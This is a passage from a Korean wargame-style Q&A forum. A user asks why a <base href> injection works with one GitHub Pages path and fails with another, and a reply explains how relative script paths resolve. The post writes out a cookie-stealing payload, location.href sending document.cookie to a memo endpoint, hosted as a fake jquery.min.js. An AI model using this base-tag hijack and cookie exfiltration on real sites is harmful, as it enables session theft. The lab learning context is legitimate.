location.href 경로 설정

안녕하세요. location.href 경로 설정에 있어서 도움을 얻고자 질문을 드리게 되었습니다.

저는 우선 github에서 서버를 여는 방식을 선택했습니다.

첫 번째 시도했을 때는 repository를 webtest로 만들고, 그 안에 /static/js/jquery.min.js 경로를 가지는 파일을 만들었고, vuln 페이지에서 param을 <base href="https://이름.github.io/webtest" /> 로 전달하였는데, 실패했습니다.

두 번째 시도했을 때는 repository를 static으로 만들고, 그 안에 /js/jquery.min.js 경로를 가지는 파일을 만들었고, vuln 페이지에서 param을 <base href="https://이름.github.io/" /> 로 전달하였는데,성공했습니다.

웹 브라우저에서 두 경로를 접속하면, location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie; 가 올바르게 나옵니다.

base 뒤에 똑같이 /static/js/jquery.min.js이 붙는데, 왜 첫 번째 경우는 안되는 것인지 궁금합니다.

읽어주셔서 감사합니다.

#web
작성자 정보
답변 1
avatar
hoppi_
대표 업적 없음

안녕하세요 hades1님!
<base href="https://이름.github.io/webtest" />와 같이 base-uri 지시문을 설정하시면,
script의 src를 가져올 떄, /webtest/static/js/jquery.min.js를 가리키게됩니다. 따라서 첫 번째 경우는 동작하지 않습니다!
더 궁금하신 점이 있으면 질문 남겨주세요.
감사합니다.

2024.03.28. 18:42
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기